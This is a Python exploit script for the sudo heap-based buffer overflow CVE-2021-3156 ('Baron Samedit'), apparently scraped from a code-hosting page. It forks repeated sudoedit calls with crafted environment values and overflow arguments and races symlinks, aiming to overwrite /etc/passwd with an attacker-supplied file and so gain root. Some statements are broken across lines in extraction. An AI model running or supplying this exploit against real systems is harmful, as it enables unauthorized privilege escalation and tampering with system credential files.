139 lines
No EOL
4.4 KiB
Python
Executable file
139 lines
No EOL
4.4 KiB
Python
Executable file
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
|
|
# Date: 2021-02-02
|
|
# Exploit Author: West Shepherd
|
|
# Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.
|
|
# Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31
|
|
# CVE : CVE-2021-3156
|
|
# Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.
|
|
# Sources:
|
|
# (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
|
|
# (2) https://github.com/stong/CVE-2021-3156
|
|
# Requirements: Python3
|
|
|
|
#!/usr/bin/python3
|
|
import os
|
|
import pwd
|
|
import time
|
|
import sys
|
|
import argparse
|
|
|
|
|
|
class Exploit(object):
|
|
username = ''
|
|
size = 0
|
|
data = ''
|
|
|
|
def __init__(self, source, target, sleep):
|
|
self.sleep = sleep
|
|
self.source = source
|
|
self.target = target
|
|
|
|
@staticmethod
|
|
def readFile(path):
|
|
return open(path, 'r').read()
|
|
|
|
@staticmethod
|
|
def getUser():
|
|
return pwd.getpwuid(os.getuid())[0]
|
|
|
|
@staticmethod
|
|
def getSize(path):
|
|
return os.stat(path).st_size
|
|
|
|
def main(self):
|
|
self.username = self.getUser()
|
|
self.data = self.readFile(self.source)
|
|
self.size = self.getSize(self.target)
|
|
environ = {
|
|
'\n\n\n\n\n': '\n' + self.data,
|
|
'SUDO_ASKPASS': '/bin/false',
|
|
'LANG':
|
|
'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'A': 'A' * 0xffff
|
|
}
|
|
for i in range(5000):
|
|
directory =
|
|
'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
|
|
overflow =
|
|
'11111111111111111111111111111111111111111111111111111111%s' %
|
|
directory
|
|
|
|
if os.path.exists(directory):
|
|
sys.stdout.write('file exists %s\n' % directory)
|
|
continue
|
|
|
|
child = os.fork()
|
|
os.environ = environ
|
|
if child:
|
|
sys.stdout.write('[+] parent %d \n' % i)
|
|
sys.stdout.flush()
|
|
time.sleep(self.sleep)
|
|
if not os.path.exists(directory):
|
|
try:
|
|
os.mkdir(directory, 0o700)
|
|
os.symlink(self.target, '%s/%s' % (directory,
|
|
self.username))
|
|
os.waitpid(child, 0)
|
|
except:
|
|
continue
|
|
else:
|
|
sys.stdout.write('[+] child %d \n' % i)
|
|
sys.stdout.flush()
|
|
os.setpriority(os.PRIO_PROCESS, 0, 20)
|
|
os.execve(
|
|
path='/usr/bin/sudoedit',
|
|
argv=[
|
|
'/usr/bin/sudoedit',
|
|
'-A',
|
|
'-s',
|
|
'\\',
|
|
overflow
|
|
],
|
|
env=environ
|
|
)
|
|
sys.stdout.write('[!] execve failed\n')
|
|
sys.stdout.flush()
|
|
os.abort()
|
|
break
|
|
|
|
if self.size != self.getSize(self.target):
|
|
sys.stdout.write('[*] success at iteration %d \n' % i)
|
|
sys.stdout.flush()
|
|
break
|
|
sys.stdout.write("""
|
|
\nConsider the following if the exploit fails:
|
|
\n\t(1) If all directories are owned by root then sleep
|
|
needs to be decreased.
|
|
\n\t(2) If they're all owned by you, then sleep needs
|
|
increased.
|
|
""")
|
|
|
|
|
|
if __name__ == '__main__':
|
|
parser = argparse.ArgumentParser(
|
|
add_help=True,
|
|
description='* Sudo Privilege Escalation / Heap Overflow -
|
|
CVE-2021-3156 *'
|
|
)
|
|
try:
|
|
parser.add_argument('-source', action='store', help='Path to
|
|
malicious "passwd" file to overwrite the target')
|
|
parser.add_argument('-target', action='store', help='Target
|
|
file path to be overwritten (default: /etc/passwd)')
|
|
parser.add_argument('-sleep', action='store', help='Sleep
|
|
setting for forked processes (default: 0.01 seconds')
|
|
parser.set_defaults(target='/etc/passwd', sleep='0.01')
|
|
|
|
options = parser.parse_args()
|
|
if options.source is None:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
exp = Exploit(
|
|
source=options.source,
|
|
target=options.target,
|
|
sleep=float(options.sleep)
|
|
)
|
|
exp.main()
|
|
except Exception as err:
|
|
sys.stderr.write(str(err)) |